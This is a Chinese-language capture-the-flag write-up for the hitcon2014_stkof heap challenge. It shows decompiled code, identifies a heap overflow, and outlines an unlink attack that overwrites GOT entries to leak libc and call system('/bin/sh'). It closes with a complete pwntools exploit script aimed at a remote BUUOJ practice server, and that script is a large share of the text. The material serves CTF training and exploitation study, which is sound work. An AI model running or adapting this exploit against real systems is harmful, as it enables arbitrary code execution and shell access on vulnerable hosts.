hitcon2014_stkof
使用checksec
查看:
开启了Canary和栈不可执行,没有开启PIE。
先运行一下看看,发现是直接可以输入的,什么提示也没有,那么先拉进IDA中看:
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
int v3; // eax
signed int v5; // [rsp+Ch] [rbp-74h]
char nptr; // [rsp+10h] [rbp-70h]
unsigned __int64 v7; // [rsp+78h] [rbp-8h]
v7 = __readfsqword(0x28u);
while ( fgets(&nptr, 10, stdin) )
{
v3 = atoi(&nptr);
if ( v3 == 2 )
{
v5 = edit();
goto LABEL_14;
}
if ( v3 > 2 )
{
if ( v3 == 3 )
{
v5 = delete();
goto LABEL_14;
}
if ( v3 == 4 )
{
v5 = show();
goto LABEL_14;
}
}
else if ( v3 == 1 )
{
v5 = add();
goto LABEL_14;
}
v5 = -1;
LABEL_14:
if ( v5 )
puts("FAIL");
else
puts("OK");
fflush(stdout);
}
return 0LL;
}
看了个大概,是一道堆题,这里我已经将函数重命名了,接下来分步看。
首先是sub_4009E8()
:
n = atoll(&s);
:n是由用户输入的for ( i = fread(ptr, 1uLL, n, stdin); i > 0; i = fread(ptr, 1uLL, n, stdin) )
:因为n是由用户输入的,所以这边就存在了一个堆溢出。- 对应
edit()
sub_400B07()
:
::s[v1] = 0LL;
:指针置0了,没啥毛病- 对应
delete()
sub_400BA9()
:
- 初步看起来没啥用的函数,因为它并不能输出啥东西啊,但是后面会用到。
strlen(::s[v1])
:将strlen@got
换成puts@plt
会输出s[v1]所指向的地址的数据,用来泄露libc- 对应
show()
sub_400936()
:
::s[++dword_602100] = v2;
:heap的地址是存放在bss段上的。- 对应
add()
接下来先看下bss段:
- heap存储的起始地址并不是
0x602100
而是602140
题目思路
- 存在堆溢出
- heap在bss段上
- so…首想unlink
- 制造fake_chunk,通过unlink进行任意地址写
- 覆盖
strlen@got
为puts@plt
,泄露出free@got
地址,从而得到libc的基地址 - 覆盖
free@got
为system@got
,执行system('/bin/sh')
步骤解析
完整exp
from pwn import *
#start
r = remote("node4.buuoj.cn",26925)
# r = process("../buu/hitcon2014_stkof")
elf = ELF("../buu/hitcon2014_stkof")
libc = ELF("../buu/ubuntu16(64).so")
context.log_level='debug'
def add(size):
r.sendline('1')
r.sendline(str(size))
r.recvuntil('OK')
def edit(index,size,content):
r.sendline('2')
r.sendline(str(index))
r.sendline(str(size))
r.send(content)
r.recvuntil('OK')
def delete(index):
r.sendline('3')
r.sendline(str(index))
def show(index):
r.sendline('4')
r.sendline(str(index))
r.recvuntil('OK')
#params
bss_addr = 0x602150
puts_plt = elf.plt['puts']
free_got = elf.got['free']
strlen_got = elf.got['strlen']
add(0x100) #1
add(0x90) #2
add(0x90) #3
add(0x10) #4
# gdb.attach(r)
edit(4,0x8,b'/bin/sh\x00')
fake_chunk = p64(0)+p64(0x91) + p64(bss_addr-0x18) + p64(bss_addr-0x10)
fake_chunk = fake_chunk.ljust(0x90,b'M')
fake_chunk += p64(0x90) + p64(0xa0)
edit(2,0xa0,fake_chunk)
# gdb.attach(r)
delete(3)
# gdb.attach(r)
payload = p64(0) + p64(strlen_got) + p64(free_got)
edit(2,0x18,payload)
# gdb.attach(r)
edit(0,0x8,p64(puts_plt))
# gdb.attach(r)
show(1)
r.recvline()
free_addr = u64(r.recv(6).ljust(8,b'\x00'))
#libc
libc_base = free_addr - libc.symbols['free']
system_addr = libc_base + libc.symbols['system']
edit(1,0x8,p64(system_addr))
delete(4)
r.interactive()